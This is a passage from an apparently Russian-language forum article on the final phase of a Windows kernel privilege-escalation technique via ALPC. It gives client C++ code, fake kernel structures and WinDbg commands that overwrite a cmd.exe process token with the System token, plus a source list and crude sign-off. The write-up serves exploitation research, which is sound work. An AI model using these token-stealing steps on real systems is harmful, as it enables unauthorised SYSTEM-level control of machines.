extern HANDLE Connect(IN LPCWSTR ServerName);
extern void InitFakeStructs();
constexpr auto ServerName = L"\\RPC Control\\DNSResolver";
int main()
{
InitFakeStructs();
auto hServer = Connect(ServerName);
SendMsg(hServer);
CloseHandle(hServer);
return 0;
}
Грязный патч в WinDbg
Чтобы протестировать наш код, нам необходимо получить два значения при помощи отладчика в рантайме. Первое значение - это адрес токена любого процесса, я предлагаю взять процесс cmd.exe. Второе - это значение токена процесса System. Запустим консоль в виртуальной машине и выполним две команды в отладчике.
Код:
dx -g @$cursession.Processes.Where(p => p.Name == "System").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})
dx -g @$cursession.Processes.Where(p => p.Name == "cmd.exe").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})


Таким образом, значение системного токена равно 0xffff9208caa3508e, а адрес по которому находится токен консоли равен 0xffffa90529a1b538 (находится по смещению 0x4b8 в структуре
EPROCESS).Прописываем эти значения в функции InitFakeStructs и компилируем программу.
C++:
*((__int64*)DataUserVa) = 0xffff9208caa3508e;
...
auto CurrentTokenAddr = ULongLongToPtr64(0xffffa90529a1b538);
Первым брейкпоинтом мы попадаем в функцию
InitFakeStructs. Проверяем, что структура корректна и сохраняем в блокнот адрес структуры.
Код:
3: kd> .frame 0n0;dv /t /v
@rsi void * hProcHeap = 0x00000222`d1f70000
@rbx struct _KALPC_RESERVE * fake_reserve = 0x00000222`d1f755f0
@rdi struct _KALPC_MESSAGE * fake_message = 0x00000222`d1f7c350
Далее устанавливаем брейкпоинт на функцию
AlpcpCaptureMessageDataSafe для текущего процесса. Мы ведь не хотим отловить эту функцию в другом процессе?
Код:
kd> 3: kd> !process -1 0
PROCESS ffffa905291d1080
kd> bp /p ffffa905291d1080 nt!AlpcpCaptureMessageDataSafe
kd> g
Подменяем первый и единственный аргумент в
rcx на нашу поддельную структуру.
Код:
kd> r rcx = 0x00000222d1f7c350
Жмем "g" и наблюдаем за магией.
Заключение
Надеюсь, что мне удалось объяснить и наглядно показать как работает эта техника в ее конечной фазе и как в принципе можно исследовать такие вещи. Да, здесь не было работы с пулом и более детальной информации о работе ALPC, но тогда пришлось бы писать целую книгу. Также я не описывал возможность произвольного чтения в первом вызове
memmove, но оставил комментарии в коде. Код для тестов будет выложен на гитхаб или в день выхода статьи или через день после. База для IDA Pro также будет выложена с пояснениями о проведенной работе. Как обычно вопросы, сообщения об ошибках приветствуются. Респект тем, кто дочитал до конца. Вы ебанутые в хорошем смысле слова. За разрывы пердаков у плюсовиков ответственности не несу.У вас должно быть более 10 реакций для просмотра скрытого контента.
Ссылка на репозиторий - [удален]
Источники
1. https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html
2. All about the RPC, LRPC, ALPC, and LPC in your PC (Alex Ionescu)
3. D2T1 - Ben Nagy - ALPC Fuzzing Toolkit
4. A view into ALPC-RPC Clément Rouault & Thomas Imbert (PacSec November 2017)
5. https://bbs.kanxue.com/thread-268225.htm
6. https://paper.seebug.org/1920/
7. OffensiveCon22 - Erik Egsgard - BlackSwan - Exploiting a Gaggle of Windows Privilege Escalation Bugs
8. https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntlpcapi.h
9. Windows Server 2003 leaked source code
10. Windows Internals, Part 2, 7th Edition
11. The Next Generation of Windows Exploitation: Attacking the Common Log File System
12. https://ericpony.github.io/z3py-tutorial/guide-examples.htm
Последнее редактирование: